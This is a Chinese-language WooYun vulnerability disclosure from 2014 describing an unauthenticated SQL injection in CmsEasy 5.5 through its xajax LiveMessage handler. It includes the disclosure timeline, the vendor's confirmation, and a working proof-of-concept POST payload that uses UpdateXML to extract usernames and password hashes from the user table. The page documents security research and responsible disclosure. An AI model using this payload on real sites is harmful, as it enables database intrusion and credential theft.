漏洞概要 关注数(29) 关注此漏洞
缺陷编号: WooYun-2014-76629
漏洞标题: cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
相关厂商: cmseasy
漏洞作者: menmen519
提交时间: 2014-09-19 17:03
公开时间: 2014-12-18 17:04
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 逻辑错误 安全意识不足 php源码审核 sql注射漏洞利用技巧 安全意识不足
漏洞详情
披露状态:
2014-09-19: 细节已通知厂商并且等待厂商处理中
2014-09-20: 厂商已经确认,细节仅向厂商公开
2014-09-23: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-11-14: 细节向核心白帽子及相关领域专家公开
2014-11-24: 细节向普通白帽子公开
2014-12-04: 细节向实习白帽子公开
2014-12-18: 细节向公众公开
简要描述:
cmseasy 前台无视gpc的sql注入
详细说明:
我下载的是最新版本的cmseasy,之前有人提过这里的漏洞,官方进行了修补,但是越修补,越捉急,直接看代码:
这里是注册函数的地方
celive.class.php(480-497):
这里就是最后我们执行的注册函数
xajx.inc.php:(175-195):
搞清楚了这个我们看一下 参数怎么流入进来的:
xajax.class.php(306-324):
看见没有,如果这里开启的gpc,那么这里就直接stripslashes,坐着肯定是为了后面解析xml,才做了这个考虑
问题就在这里,我们构造发送数据为:
url:
**.**.**.**/CmsEasy_5.5_UTF-8_20140818_new/uploads/celive/live/header.php
postdata:
xajax=LiveMessage&xajaxargs[0]=<xjxobj><q><e><k>name</k><v>',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)--%20</v></e></q></xjxobj>
然后访问一下,直接密码用户名了:
漏洞证明:
修复方案:
版权声明:转载请注明来源 menmen519@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2014-09-20 07:49
厂商回复:
感谢
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值